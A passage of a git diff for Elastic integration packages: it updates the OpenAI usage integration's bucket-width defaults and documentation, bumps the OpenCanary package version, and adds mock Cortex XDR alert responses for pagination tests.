## Collection behavior
-By default, the OpenAI integration fetches metrics with a bucket width of 1 day (`1d`), which means metrics are aggregated by day. metrics are collected from the initial start time until the current time, excluding the current bucket since it is incomplete. So, based on configured bucket width, the integration collects metrics from the initial start time until the current time minus the bucket width.
+Among the configuration options for the OpenAI integration, the following settings are particularly relevant: "Initial interval" and "Bucket width".
+
+### Initial interval
+
+- Controls the historical data collection window at startup
+- Default value: 24 hours (`24h`)
+- Purpose: Loads historical context when you first set up the integration
+
+### Bucket width
+
+A "bucket" refers to a time interval where OpenAI usage data is grouped together for reporting purposes. For example, with a 1-minute bucket width, usage metrics are aggregated minute by minute. With a 1-hour bucket width, all activity during that hour is consolidated into a single bucket. The [bucket width](https://platform.openai.com/docs/api-reference/usage/completions#usage-completions-bucket_width) determines your data's granularity and level of detail in your usage reporting.
+
+- Controls the time-based aggregation of metrics
+- Default: `1m` (1 minute)
+- Options: `1m` (1 minute), `1h` (1 hour), `1d` (1 day)
+- Affects API request frequency and data resolution
+
+#### Impact on data resolution
+
+- `1m` buckets provide the highest resolution metrics, with data arriving in near real-time (1-minute delay)
+- `1h` buckets aggregate hourly, with data arriving less frequently (1-hour delay)
+- `1d` buckets aggregate daily, with data arriving once per day (24-hour delay)
+
+Data granularity relationship: `1m` > `1h` > `1d`
+
+#### Storage considerations
+
+Bucket width choice affects storage usage (in Elasticsearch) and data resolution:
+
+- `1m`: Maximum granularity, higher storage needs, ideal for detailed analysis.
+- `1h`: Medium granularity, moderate storage needs, good for hourly patterns.
+- `1d`: Minimum granularity, lowest storage needs, suitable for long-term analysis.
+
+Example: For 100 API calls to a particular model per hour:
+- `1m` buckets: Up to 100 documents
+- `1h` buckets: 1 aggregated document
+- `1d` buckets: 1 daily document
+
+#### API request impact
+
+"Bucket width" and "Initial interval" directly affect API request frequency. When using a 1-minute bucket width, it's strongly recommended to set the "Initial interval" to a shorter duration—optimally 1 day—to ensure smooth performance. While our extensive testing demonstrates excellent results with a 6-month initial interval paired with a 1-day bucket width, the same level of success isn't achievable with 1-minute or 1-hour bucket widths. This is because the OpenAI Usage API returns different bucket quantities based on width (60 buckets per call for 1-minute, 24 for 1-hour, and 7 for 1-day widths). To achieve the best results when gathering historical data over long periods, using 1-day bucket widths is the most effective method, ensuring a balance between data granularity and API limitations.
+
+> For optimal results with historical data, use 1-day bucket widths for long periods (15+ days), 1-hour for medium periods (1-15 days), and 1-minute only for the most recent 24 hours of data.
+
+### Collection process
+
+With default settings (Interval: `5m`, Bucket width: `1m`, Initial interval: `24h`), the OpenAI integration follows this collection pattern:
+
+1. Starts collection from (current_time - initial_interval)
+2. Collects data up to (current_time - bucket_width)
+3. Excludes incomplete current bucket for data accuracy and wait for bucket completion
+4. Runs every 5 minutes by default (configurable)
+5. From second collection, start from end of previous bucket timestamp and collect up to (current_time - bucket_width)
+
+#### Example timeline
+
+With default settings (Interval: `5m`, Bucket width: `1m`, Initial interval: `24h`):
+
+The integration starts at 10:00 AM, collects data from 10:00 AM the previous day, and continues until 9:59 AM the current day. The next collection starts at 10:05 AM, collecting from the 10:00 AM bucket to the 10:04 AM bucket, as the "Interval" is 5 minutes.
## Logs reference
diff --git a/packages/openai/changelog.yml b/packages/openai/changelog.yml
index 425548b770f..47adc2bab78 100644
--- a/packages/openai/changelog.yml
+++ b/packages/openai/changelog.yml
@@ -1,4 +1,10 @@
# newer versions go on top
+- version: "0.3.0"
+ changes:
+ - description: Update default values and improve documentation and field descriptions.
+
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12838
- version: "0.2.0"
changes:
- description: Add support for Kibana `9.0.0`.
diff --git a/packages/openai/data_stream/audio_speeches/manifest.yml b/packages/openai/data_stream/audio_speeches/manifest.yml
index 1acc6af67a9..80046866984 100644
--- a/packages/openai/data_stream/audio_speeches/manifest.yml
+++ b/packages/openai/data_stream/audio_speeches/manifest.yml
@@ -28,7 +28,7 @@ streams:
multi: false
required: true
show_user: false
- description: Initial interval for the first API call. Defaults to 24 hours. Supported units for this parameter are h/m/s.
+ description: Initial interval controls the historical data collection window at startup. This parameter determines how far back in time the integration will collect data when first initialized. Default is 24 hours (`24h`). Longer intervals retrieve more historical data but increase API calls. When using smaller bucket width (e.g., 1m), keep this interval shorter to avoid rate limiting. Supported units are h/m/s.
default: 24h
- name: bucket_width
type: text
@@ -36,8 +36,8 @@ streams:
multi: false
required: true
show_user: false
- description: Bucket width to decide the width of each bucket in response from the OpenAI API. Defaults to 1d. Supported values for this parameter are 1m, 1h and 1d only.
- default: 1d
+ description: Bucket width to decide the width of each bucket in response from the OpenAI API. Defaults to 1m. Supported values for this parameter are 1m, 1h and 1d only.
+ default: 1m
- name: tags
type: text
title: Tags
diff --git a/packages/openai/data_stream/audio_transcriptions/manifest.yml b/packages/openai/data_stream/audio_transcriptions/manifest.yml
index 4b9ab6924fc..5639495fdfb 100644
--- a/packages/openai/data_stream/audio_transcriptions/manifest.yml
+++ b/packages/openai/data_stream/audio_transcriptions/manifest.yml
@@ -28,7 +28,7 @@ streams:
multi: false
required: true
show_user: false
- description: Initial interval for the first API call. Defaults to 24 hours. Supported units for this parameter are h/m/s.
+ description: Initial interval controls the historical data collection window at startup. This parameter determines how far back in time the integration will collect data when first initialized. Default is 24 hours (`24h`). Longer intervals retrieve more historical data but increase API calls. When using smaller bucket width (e.g., 1m), keep this interval shorter to avoid rate limiting. Supported units are h/m/s.
default: 24h
- name: bucket_width
type: text
@@ -36,8 +36,8 @@ streams:
multi: false
required: true
show_user: false
- description: Bucket width to decide the width of each bucket in response from the OpenAI API. Defaults to 1d. Supported values for this parameter are 1m, 1h and 1d only.
- default: 1d
+ description: Bucket width to decide the width of each bucket in response from the OpenAI API. Defaults to 1m. Supported values for this parameter are 1m, 1h and 1d only.
+ default: 1m
- name: tags
type: text
title: Tags
diff --git a/packages/openai/data_stream/code_interpreter_sessions/manifest.yml b/packages/openai/data_stream/code_interpreter_sessions/manifest.yml
index 8bfed2d9e43..44529cffc77 100644
--- a/packages/openai/data_stream/code_interpreter_sessions/manifest.yml
+++ b/packages/openai/data_stream/code_interpreter_sessions/manifest.yml
@@ -28,7 +28,7 @@ streams:
multi: false
required: true
show_user: false
- description: Initial interval for the first API call. Defaults to 24 hours. Supported units for this parameter are h/m/s.
+ description: Initial interval controls the historical data collection window at startup. This parameter determines how far back in time the integration will collect data when first initialized. Default is 24 hours (`24h`). Longer intervals retrieve more historical data but increase API calls. When using smaller bucket width (e.g., 1m), keep this interval shorter to avoid rate limiting. Supported units are h/m/s.
default: 24h
- name: bucket_width
type: text
@@ -36,8 +36,8 @@ streams:
multi: false
required: true
show_user: false
- description: Bucket width to decide the width of each bucket in response from the OpenAI API. Defaults to 1d. Supported values for this parameter are 1m, 1h and 1d only.
- default: 1d
+ description: Bucket width to decide the width of each bucket in response from the OpenAI API. Defaults to 1m. Supported values for this parameter are 1m, 1h and 1d only.
+ default: 1m
- name: tags
type: text
title: Tags
diff --git a/packages/openai/data_stream/completions/manifest.yml b/packages/openai/data_stream/completions/manifest.yml
index 33adfee82ac..0ba4113628e 100644
--- a/packages/openai/data_stream/completions/manifest.yml
+++ b/packages/openai/data_stream/completions/manifest.yml
@@ -28,7 +28,7 @@ streams:
multi: false
required: true
show_user: false
- description: Initial interval for the first API call. Defaults to 24 hours. Supported units for this parameter are h/m/s.
+ description: Initial interval controls the historical data collection window at startup. This parameter determines how far back in time the integration will collect data when first initialized. Default is 24 hours (`24h`). Longer intervals retrieve more historical data but increase API calls. When using smaller bucket width (e.g., 1m), keep this interval shorter to avoid rate limiting. Supported units are h/m/s.
default: 24h
- name: bucket_width
type: text
@@ -36,8 +36,8 @@ streams:
multi: false
required: true
show_user: false
- description: Bucket width to decide the width of each bucket in response from the OpenAI API. Defaults to 1d. Supported values for this parameter are 1m, 1h and 1d only.
- default: 1d
+ description: Bucket width to decide the width of each bucket in response from the OpenAI API. Defaults to 1m. Supported values for this parameter are 1m, 1h and 1d only.
+ default: 1m
- name: tags
type: text
title: Tags
diff --git a/packages/openai/data_stream/embeddings/manifest.yml b/packages/openai/data_stream/embeddings/manifest.yml
index e42dc735add..58d23573af2 100644
--- a/packages/openai/data_stream/embeddings/manifest.yml
+++ b/packages/openai/data_stream/embeddings/manifest.yml
@@ -28,7 +28,7 @@ streams:
multi: false
required: true
show_user: false
- description: Initial interval for the first API call. Defaults to 24 hours. Supported units for this parameter are h/m/s.
+ description: Initial interval controls the historical data collection window at startup. This parameter determines how far back in time the integration will collect data when first initialized. Default is 24 hours (`24h`). Longer intervals retrieve more historical data but increase API calls. When using smaller bucket width (e.g., 1m), keep this interval shorter to avoid rate limiting. Supported units are h/m/s.
default: 24h
- name: bucket_width
type: text
@@ -36,8 +36,8 @@ streams:
multi: false
required: true
show_user: false
- description: Bucket width to decide the width of each bucket in response from the OpenAI API. Defaults to 1d. Supported values for this parameter are 1m, 1h and 1d only.
- default: 1d
+ description: Bucket width to decide the width of each bucket in response from the OpenAI API. Defaults to 1m. Supported values for this parameter are 1m, 1h and 1d only.
+ default: 1m
- name: tags
type: text
title: Tags
diff --git a/packages/openai/data_stream/images/manifest.yml b/packages/openai/data_stream/images/manifest.yml
index fd5949fe07d..f810954c04c 100644
--- a/packages/openai/data_stream/images/manifest.yml
+++ b/packages/openai/data_stream/images/manifest.yml
@@ -28,7 +28,7 @@ streams:
multi: false
required: true
show_user: false
- description: Initial interval for the first API call. Defaults to 24 hours. Supported units for this parameter are h/m/s.
+ description: Initial interval controls the historical data collection window at startup. This parameter determines how far back in time the integration will collect data when first initialized. Default is 24 hours (`24h`). Longer intervals retrieve more historical data but increase API calls. When using smaller bucket width (e.g., 1m), keep this interval shorter to avoid rate limiting. Supported units are h/m/s.
default: 24h
- name: bucket_width
type: text
@@ -36,8 +36,8 @@ streams:
multi: false
required: true
show_user: false
- description: Bucket width to decide the width of each bucket in response from the OpenAI API. Defaults to 1d. Supported values for this parameter are 1m, 1h and 1d only.
- default: 1d
+ description: Bucket width to decide the width of each bucket in response from the OpenAI API. Defaults to 1m. Supported values for this parameter are 1m, 1h and 1d only.
+ default: 1m
- name: tags
type: text
title: Tags
diff --git a/packages/openai/data_stream/moderations/manifest.yml b/packages/openai/data_stream/moderations/manifest.yml
index b6334fb2eeb..f68ef23b4e9 100644
--- a/packages/openai/data_stream/moderations/manifest.yml
+++ b/packages/openai/data_stream/moderations/manifest.yml
@@ -28,7 +28,7 @@ streams:
multi: false
required: true
show_user: false
- description: Initial interval for the first API call. Defaults to 24 hours. Supported units for this parameter are h/m/s.
+ description: Initial interval controls the historical data collection window at startup. This parameter determines how far back in time the integration will collect data when first initialized. Default is 24 hours (`24h`). Longer intervals retrieve more historical data but increase API calls. When using smaller bucket width (e.g., 1m), keep this interval shorter to avoid rate limiting. Supported units are h/m/s.
default: 24h
- name: bucket_width
type: text
@@ -36,8 +36,8 @@ streams:
multi: false
required: true
show_user: false
- description: Bucket width to decide the width of each bucket in response from the OpenAI API. Defaults to 1d. Supported values for this parameter are 1m, 1h and 1d only.
- default: 1d
+ description: Bucket width to decide the width of each bucket in response from the OpenAI API. Defaults to 1m. Supported values for this parameter are 1m, 1h and 1d only.
+ default: 1m
- name: tags
type: text
title: Tags
diff --git a/packages/openai/data_stream/vector_stores/manifest.yml b/packages/openai/data_stream/vector_stores/manifest.yml
index 376af7d8a07..42eaa738149 100644
--- a/packages/openai/data_stream/vector_stores/manifest.yml
+++ b/packages/openai/data_stream/vector_stores/manifest.yml
@@ -28,7 +28,7 @@ streams:
multi: false
required: true
show_user: false
- description: Initial interval for the first API call. Defaults to 24 hours. Supported units for this parameter are h/m/s.
+ description: Initial interval controls the historical data collection window at startup. This parameter determines how far back in time the integration will collect data when first initialized. Default is 24 hours (`24h`). Longer intervals retrieve more historical data but increase API calls. When using smaller bucket width (e.g., 1m), keep this interval shorter to avoid rate limiting. Supported units are h/m/s.
default: 24h
- name: bucket_width
type: text
@@ -36,8 +36,8 @@ streams:
multi: false
required: true
show_user: false
- description: Bucket width to decide the width of each bucket in response from the OpenAI API. Defaults to 1d. Supported values for this parameter are 1m, 1h and 1d only.
- default: 1d
+ description: Bucket width to decide the width of each bucket in response from the OpenAI API. Defaults to 1m. Supported values for this parameter are 1m, 1h and 1d only.
+ default: 1m
- name: tags
type: text
title: Tags
diff --git a/packages/openai/docs/README.md b/packages/openai/docs/README.md
index 0b5efa0cbb8..568565f0f15 100644
--- a/packages/openai/docs/README.md
+++ b/packages/openai/docs/README.md
@@ -39,7 +39,65 @@ To generate an Admin key, please generate a key or use an existing one from the
## Collection behavior
-By default, the OpenAI integration fetches metrics with a bucket width of 1 day (`1d`), which means metrics are aggregated by day. metrics are collected from the initial start time until the current time, excluding the current bucket since it is incomplete. So, based on configured bucket width, the integration collects metrics from the initial start time until the current time minus the bucket width.
+Among the configuration options for the OpenAI integration, the following settings are particularly relevant: "Initial interval" and "Bucket width".
+
+### Initial interval
+
+- Controls the historical data collection window at startup
+- Default value: 24 hours (`24h`)
+- Purpose: Loads historical context when you first set up the integration
+
+### Bucket width
+
+A "bucket" refers to a time interval where OpenAI usage data is grouped together for reporting purposes. For example, with a 1-minute bucket width, usage metrics are aggregated minute by minute. With a 1-hour bucket width, all activity during that hour is consolidated into a single bucket. The [bucket width](https://platform.openai.com/docs/api-reference/usage/completions#usage-completions-bucket_width) determines your data's granularity and level of detail in your usage reporting.
+
+- Controls the time-based aggregation of metrics
+- Default: `1m` (1 minute)
+- Options: `1m` (1 minute), `1h` (1 hour), `1d` (1 day)
+- Affects API request frequency and data resolution
+
+#### Impact on data resolution
+
+- `1m` buckets provide the highest resolution metrics, with data arriving in near real-time (1-minute delay)
+- `1h` buckets aggregate hourly, with data arriving less frequently (1-hour delay)
+- `1d` buckets aggregate daily, with data arriving once per day (24-hour delay)
+
+Data granularity relationship: `1m` > `1h` > `1d`
+
+#### Storage considerations
+
+Bucket width choice affects storage usage (in Elasticsearch) and data resolution:
+
+- `1m`: Maximum granularity, higher storage needs, ideal for detailed analysis.
+- `1h`: Medium granularity, moderate storage needs, good for hourly patterns.
+- `1d`: Minimum granularity, lowest storage needs, suitable for long-term analysis.
+
+Example: For 100 API calls to a particular model per hour:
+- `1m` buckets: Up to 100 documents
+- `1h` buckets: 1 aggregated document
+- `1d` buckets: 1 daily document
+
+#### API request impact
+
+"Bucket width" and "Initial interval" directly affect API request frequency. When using a 1-minute bucket width, it's strongly recommended to set the "Initial interval" to a shorter duration—optimally 1 day—to ensure smooth performance. While our extensive testing demonstrates excellent results with a 6-month initial interval paired with a 1-day bucket width, the same level of success isn't achievable with 1-minute or 1-hour bucket widths. This is because the OpenAI Usage API returns different bucket quantities based on width (60 buckets per call for 1-minute, 24 for 1-hour, and 7 for 1-day widths). To achieve the best results when gathering historical data over long periods, using 1-day bucket widths is the most effective method, ensuring a balance between data granularity and API limitations.
+
+> For optimal results with historical data, use 1-day bucket widths for long periods (15+ days), 1-hour for medium periods (1-15 days), and 1-minute only for the most recent 24 hours of data.
+
+### Collection process
+
+With default settings (Interval: `5m`, Bucket width: `1m`, Initial interval: `24h`), the OpenAI integration follows this collection pattern:
+
+1. Starts collection from (current_time - initial_interval)
+2. Collects data up to (current_time - bucket_width)
+3. Excludes incomplete current bucket for data accuracy and wait for bucket completion
+4. Runs every 5 minutes by default (configurable)
+5. From second collection, start from end of previous bucket timestamp and collect up to (current_time - bucket_width)
+
+#### Example timeline
+
+With default settings (Interval: `5m`, Bucket width: `1m`, Initial interval: `24h`):
+
+The integration starts at 10:00 AM, collects data from 10:00 AM the previous day, and continues until 9:59 AM the current day. The next collection starts at 10:05 AM, collecting from the 10:00 AM bucket to the 10:04 AM bucket, as the "Interval" is 5 minutes.
## Logs reference
diff --git a/packages/openai/manifest.yml b/packages/openai/manifest.yml
index dfe60860981..1e74449dcc5 100644
--- a/packages/openai/manifest.yml
+++ b/packages/openai/manifest.yml
@@ -1,7 +1,7 @@
format_version: 3.3.0
name: openai
title: OpenAI
-version: 0.2.0
+version: 0.3.0
description: |
Collect OpenAI usage metrics with Elastic Agent.
type: integration
diff --git a/packages/opencanary/changelog.yml b/packages/opencanary/changelog.yml
index 952cd6d7be3..410600984ec 100644
--- a/packages/opencanary/changelog.yml
+++ b/packages/opencanary/changelog.yml
@@ -1,4 +1,9 @@
# newer versions go on top
+- version: "0.4.0"
+ changes:
+ - description: Update Kibana constraint to support 9.0.0.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12919
- version: "0.3.0"
changes:
- description: Do not remove `event.original` in main ingest pipeline.
diff --git a/packages/opencanary/manifest.yml b/packages/opencanary/manifest.yml
index f312e05669c..118f83fd0dc 100644
--- a/packages/opencanary/manifest.yml
+++ b/packages/opencanary/manifest.yml
@@ -1,14 +1,14 @@
format_version: 3.1.3
name: opencanary
title: "OpenCanary"
-version: "0.3.0"
+version: "0.4.0"
description: "This integration collects and parses logs from OpenCanary honeypots."
type: integration
categories:
- security
conditions:
kibana:
- version: "^8.13.0"
+ version: "^8.13.0 || ^9.0.0"
elastic:
subscription: "basic"
icons:
diff --git a/packages/panw_cortex_xdr/_dev/deploy/docker/http-mock-config.yml b/packages/panw_cortex_xdr/_dev/deploy/docker/http-mock-config.yml
index c1c470dc7c6..97809e79271 100644
--- a/packages/panw_cortex_xdr/_dev/deploy/docker/http-mock-config.yml
+++ b/packages/panw_cortex_xdr/_dev/deploy/docker/http-mock-config.yml
@@ -1,4 +1,573 @@
rules:
+ # pagination request
+ - path: /public_api/v2/alerts/get_alerts_multi_events
+ methods: [POST]
+ request_headers:
+ Authorization: cel-token
+ X-Xdr-Auth-Id: 2
+ request_body: /\{.*"search_from":1.*"search_to":101.*\}/
+ responses:
+ - status_code: 200
+ headers:
+ Content-Type:
+ - "application/json"
+ body: |-
+ {{ minify_json `
+ {
+ "reply":{
+ "total_count": 2,
+ "result_count": 1,
+ "alerts":[
+ {
+ "agent_os_sub_type": "",
+ "fw_app_category": null,
+ "fw_app_id": null,
+ "fw_app_subcategory": null,
+ "fw_app_technology": null,
+ "category": "",
+ "causality_actor_process_command_line": [
+ ""
+ ],
+ "causality_actor_process_image_md5": [
+ ""
+ ],
+ "causality_actor_process_image_name": [
+ ""
+ ],
+ "causality_actor_process_image_path": [
+ ""
+ ],
+ "causality_actor_process_image_sha256": [
+ ""
+ ],
+ "causality_actor_process_signature_status": [
+ "Signed"
+ ],
+ "causality_actor_process_signature_vendor": [
+ ""
+ ],
+ "causality_actor_causality_id": [
+ ""
+ ],
+ "identity_sub_type": null,
+ "identity_type": null,
+ "operation_name": null,
+ "project": null,
+ "cloud_provider": null,
+ "referenced_resource": null,
+ "resource_sub_type": null,
+ "resource_type": null,
+ "cluster_name": null,
+ "container_id": null,
+ "contains_featured_host": [
+ "NO"
+ ],
+ "contains_featured_ip": [
+ "NO"
+ ],
+ "contains_featured_user": [
+ "NO"
+ ],
+ "action_country": [
+ "UNKNOWN"
+ ],
+ "description": "The user domain\\username enabled a default account. The default account enabled: domain\\username",
+ "fw_interface_to": null,
+ "dns_query_name": null,
+ "agent_device_domain": null,
+ "fw_email_recipient": null,
+ "fw_email_sender": null,
+ "fw_email_subject": null,
+ "events": null,
+ "event_type": [
+ "Process Execution"
+ ],
+ "is_whitelisted": false,
+ "action_file_macro_sha256": null,
+ "action_file_md5": null,
+ "action_file_name": null,
+ "action_file_path": null,
+ "action_file_sha256": null,
+ "fw_device_name": null,
+ "fw_rule_id": null,
+ "fw_rule": null,
+ "fw_serial_number": null,
+ "agent_fqdn": null,
+ "agent_os_type": "",
+ "image_name": null,
+ "actor_process_image_name": [
+ ""
+ ],
+ "actor_process_command_line": [
+ ""
+ ],
+ "actor_process_image_md5": [
+ ""
+ ],
+ "actor_process_image_path": [
+ ""
+ ],
+ "actor_process_os_pid": [
+ 996
+ ],
+ "actor_process_image_sha256": [
+ ""
+ ],
+ "actor_process_signature_status": [
+ "Signed"
+ ],
+ "actor_process_signature_vendor": [
+ ""
+ ],
+ "actor_thread_thread_id": [
+ 7452
+ ],
+ "fw_is_phishing": [
+ "N/A"
+ ],
+ "action_local_ip": null,
+ "action_local_port": null,
+ "fw_misc": null,
+ "mitre_tactic_id_and_name": [
+ "TA0005 - Defense Evasion"
+ ],
+ "mitre_technique_id_and_name": [
+ "T1089 - Disabling Security Tools"
+ ],
+ "module_id": null,
+ "fw_vsys": null,
+ "os_actor_process_command_line": [
+ ""
+ ],
+ "os_actor_thread_thread_id": [
+ 7205
+ ],
+ "os_actor_process_image_name": [
+ ""
+ ],
+ "os_actor_process_os_pid": [
+ 996
+ ],
+ "os_actor_process_image_sha256": [
+ ""
+ ],
+ "os_actor_process_signature_status": [
+ "Signed"
+ ],
+ "os_actor_process_signature_vendor": [
+ ""
+ ],
+ "os_actor_effective_username": null,
+ "action_process_signature_status": [
+ "N/A"
+ ],
+ "action_process_signature_vendor": null,
+ "action_registry_data": null,
+ "action_registry_full_key": null,
+ "action_external_hostname": null,
+ "action_remote_ip": null,
+ "action_remote_port": null,
+ "matching_service_rule_id": "",
+ "fw_interface_from": null,
+ "starred": true,
+ "action_process_image_command_line": null,
+ "action_process_image_name": null,
+ "action_process_image_sha256": null,
+ "fw_url_domain": null,
+ "user_agent": null,
+ "fw_xff": null,
+ "external_id": "",
+ "severity": "low",
+ "matching_status": "MATCHED",
+ "end_match_attempt_ts": null,
+ "local_insert_ts": 1673372647792,
+ "last_modified_ts": null,
+ "bioc_indicator": null,
+ "attempt_counter": 0,
+ "bioc_category_enum_key": null,
+ "case_id": 9629,
+ "deduplicate_tokens": null,
+ "filter_rule_id": null,
+ "agent_version": "",
+ "agent_ip_addresses_v6": null,
+ "agent_data_collection_status": null,
+ "agent_is_vdi": false,
+ "agent_install_type": "STANDARD",
+ "agent_host_boot_time": [
+ 1669128165772
+ ],
+ "event_sub_type": [
+ 1
+ ],
+ "association_strength": [
+ 50
+ ],
+ "dst_association_strength": null,
+ "story_id": null,
+ "event_id": [
+ "2"
+ ],
+ "event_timestamp": [
+ 1702299363118
+ ],
+ "actor_process_instance_id": [
+ ""
+ ],
+ "actor_process_causality_id": [
+ ""
+ ],
+ "actor_causality_id": [
+ ""
+ ],
+ "causality_actor_process_execution_time": [
+ 1669528171295
+ ],
+ "action_registry_key_name": null,
+ "action_registry_value_name": null,
+ "action_local_ip_v6": null,
+ "action_remote_ip_v6": null,
+ "action_process_instance_id": null,
+ "action_process_causality_id": null,
+ "os_actor_process_instance_id": [
+ ""
+ ],
+ "os_actor_process_image_path": [
+ ""
+ ],
+ "os_actor_process_causality_id": [
+ ""
+ ],
+ "os_actor_causality_id": null,
+ "dst_agent_id": [
+ ""
+ ],
+ "dst_causality_actor_process_execution_time": null,
+ "dst_action_external_hostname": null,
+ "dst_action_country": null,
+ "dst_action_external_port": null,
+ "is_pcap": false,
+ "alert_type": "Unclassified",
+ "resolution_status": "STATUS_010_NEW",
+ "resolution_comment": null,
+ "dynamic_fields": null,
+ "tags": [
+ "ET:DESKTOP-FCCIPAN",
+ "EG:k8s agents",
+ "EG:windows"
+ ],
+ "dss_job_title": null,
+ "dss_department": null,
+ "dss_country": null,
+ "dss_groups": null,
+ "alert_id": "2",
+ "detection_timestamp": 1569159363318,
+ "name": "A user enabled the Windows DefaultAccount",
+ "endpoint_id": "",
+ "host_ip": [
+ "192.168.2.2"
+ ],
+ "host_name": "",
+ "action": "DETECTED",
+ "original_tags": [
+ "EG:k8s agents",
+ "EG:windows",
+ "ET:DESKTOP-FCCIPAN"
+ ],
+ "user_name": [
+ ""
+ ],
+ "mac_addresses": null,
+ "source": null,
+ "action_pretty": "Detected"
+ }
+ ]
+ }
+ }
+ `}}
+ - path: /public_api/v2/alerts/get_alerts_multi_events
+ methods: [POST]
+ request_headers:
+ Authorization: cel-token
+ X-Xdr-Auth-Id: 2
+ request_body: /.*/
+ responses:
+ - status_code: 200
+ headers:
+ Content-Type:
+ - "application/json"
+ body: |-
+ {{ minify_json `
+ {
+ "reply":{
+ "total_count": 2,
+ "result_count": 1,
+ "alerts":[
+ {
+ "agent_os_sub_type": "",
+ "fw_app_category": null,
+ "fw_app_id": null,
+ "fw_app_subcategory": null,
+ "fw_app_technology": null,
+ "category": "",
+ "causality_actor_process_command_line": [
+ ""
+ ],
+ "causality_actor_process_image_md5": [
+ ""
+ ],
+ "causality_actor_process_image_name": [
+ ""
+ ],
+ "causality_actor_process_image_path": [
+ ""
+ ],
+ "causality_actor_process_image_sha256": [
+ ""
+ ],
+ "causality_actor_process_signature_status": [
+ "Signed"
+ ],
+ "causality_actor_process_signature_vendor": [
+ ""
+ ],
+ "causality_actor_causality_id": [
+ ""
+ ],
+ "identity_sub_type": null,
+ "identity_type": null,
+ "operation_name": null,
+ "project": null,
+ "cloud_provider": null,
+ "referenced_resource": null,
+ "resource_sub_type": null,
+ "resource_type": null,
+ "cluster_name": null,
+ "container_id": null,
+ "contains_featured_host": [
+ "NO"
+ ],
+ "contains_featured_ip": [
+ "NO"
+ ],
+ "contains_featured_user": [
+ "NO"
+ ],
+ "action_country": [
+ "UNKNOWN"
+ ],
+ "description": "The user domain\\username enabled a default account. The default account enabled: domain\\username",
+ "fw_interface_to": null,
+ "dns_query_name": null,
+ "agent_device_domain": null,
+ "fw_email_recipient": null,
+ "fw_email_sender": null,
+ "fw_email_subject": null,
+ "events": null,
+ "event_type": [
+ "Process Execution"
+ ],
+ "is_whitelisted": false,
+ "action_file_macro_sha256": null,
+ "action_file_md5": null,
+ "action_file_name": null,
+ "action_file_path": null,
+ "action_file_sha256": null,
+ "fw_device_name": null,
+ "fw_rule_id": null,
+ "fw_rule": null,
+ "fw_serial_number": null,
+ "agent_fqdn": null,
+ "agent_os_type": "",
+ "image_name": null,
+ "actor_process_image_name": [
+ ""
+ ],
+ "actor_process_command_line": [
+ ""
+ ],
+ "actor_process_image_md5": [
+ ""
+ ],
+ "actor_process_image_path": [
+ ""
+ ],
+ "actor_process_os_pid": [
+ 996
+ ],
+ "actor_process_image_sha256": [
+ ""
+ ],
+ "actor_process_signature_status": [
+ "Signed"
+ ],
+ "actor_process_signature_vendor": [
+ ""
+ ],
+ "actor_thread_thread_id": [
+ 7452
+ ],
+ "fw_is_phishing": [
+ "N/A"
+ ],
+ "action_local_ip": null,
+ "action_local_port": null,
+ "fw_misc": null,
+ "mitre_tactic_id_and_name": [
+ "TA0005 - Defense Evasion"
+ ],
+ "mitre_technique_id_and_name": [
+ "T1089 - Disabling Security Tools"
+ ],
+ "module_id": null,
+ "fw_vsys": null,
+ "os_actor_process_command_line": [
+ ""
+ ],
+ "os_actor_thread_thread_id": [
+ 7205
+ ],
+ "os_actor_process_image_name": [
+ ""
+ ],
+ "os_actor_process_os_pid": [
+ 996
+ ],
+ "os_actor_process_image_sha256": [
+ ""
+ ],
+ "os_actor_process_signature_status": [
+ "Signed"
+ ],
+ "os_actor_process_signature_vendor": [
+ ""
+ ],
+ "os_actor_effective_username": null,
+ "action_process_signature_status": [
+ "N/A"
+ ],
+ "action_process_signature_vendor": null,
+ "action_registry_data": null,
+ "action_registry_full_key": null,
+ "action_external_hostname": null,
+ "action_remote_ip": null,
+ "action_remote_port": null,
+ "matching_service_rule_id": "",
+ "fw_interface_from": null,
+ "starred": true,
+ "action_process_image_command_line": null,
+ "action_process_image_name": null,
+ "action_process_image_sha256": null,
+ "fw_url_domain": null,
+ "user_agent": null,
+ "fw_xff": null,
+ "external_id": "",
+ "severity": "low",
+ "matching_status": "MATCHED",
+ "end_match_attempt_ts": null,
+ "local_insert_ts": 1673372647792,
+ "last_modified_ts": null,
+ "bioc_indicator": null,
+ "attempt_counter": 0,
+ "bioc_category_enum_key": null,
+ "case_id": 9629,
+ "deduplicate_tokens": null,
+ "filter_rule_id": null,
+ "agent_version": "",
+ "agent_ip_addresses_v6": null,
+ "agent_data_collection_status": null,
+ "agent_is_vdi": false,
+ "agent_install_type": "STANDARD",
+ "agent_host_boot_time": [
+ 1669128165772
+ ],
+ "event_sub_type": [
+ 1
+ ],
+ "association_strength": [
+ 50
+ ],
+ "dst_association_strength": null,
+ "story_id": null,
+ "event_id": [
+ ""
+ ],
+ "event_timestamp": [
+ 1701299363118
+ ],
+ "actor_process_instance_id": [
+ ""
+ ],
+ "actor_process_causality_id": [
+ ""
+ ],
+ "actor_causality_id": [
+ ""
+ ],
+ "causality_actor_process_execution_time": [
+ 1669528171295
+ ],
+ "action_registry_key_name": null,
+ "action_registry_value_name": null,
+ "action_local_ip_v6": null,
+ "action_remote_ip_v6": null,
+ "action_process_instance_id": null,
+ "action_process_causality_id": null,
+ "os_actor_process_instance_id": [
+ ""
+ ],
+ "os_actor_process_image_path": [
+ ""
+ ],
+ "os_actor_process_causality_id": [
+ ""
+ ],
+ "os_actor_causality_id": null,
+ "dst_agent_id": [
+ ""
+ ],
+ "dst_causality_actor_process_execution_time": null,
+ "dst_action_external_hostname": null,
+ "dst_action_country": null,
+ "dst_action_external_port": null,
+ "is_pcap": false,
+ "alert_type": "Unclassified",
+ "resolution_status": "STATUS_010_NEW",
+ "resolution_comment": null,
+ "dynamic_fields": null,
+ "tags": [
+ "ET:DESKTOP-FCCIPAN",
+ "EG:k8s agents",
+ "EG:windows"
+ ],
+ "dss_job_title": null,
+ "dss_department": null,
+ "dss_country": null,
+ "dss_groups": null,
+ "alert_id": "1",
+ "detection_timestamp": 1569159363318,
+ "name": "A user enabled the Windows DefaultAccount",
+ "endpoint_id": "",
+ "host_ip": [
+ "192.168.2.2"
+ ],
+ "host_name": "",
+ "action": "DETECTED",
+ "original_tags": [
+ "EG:k8s agents",
+ "EG:windows",
+ "ET:DESKTOP-FCCIPAN"
+ ],
+ "user_name": [
+ ""
+ ],
+ "mac_addresses": null,
+ "source": null,
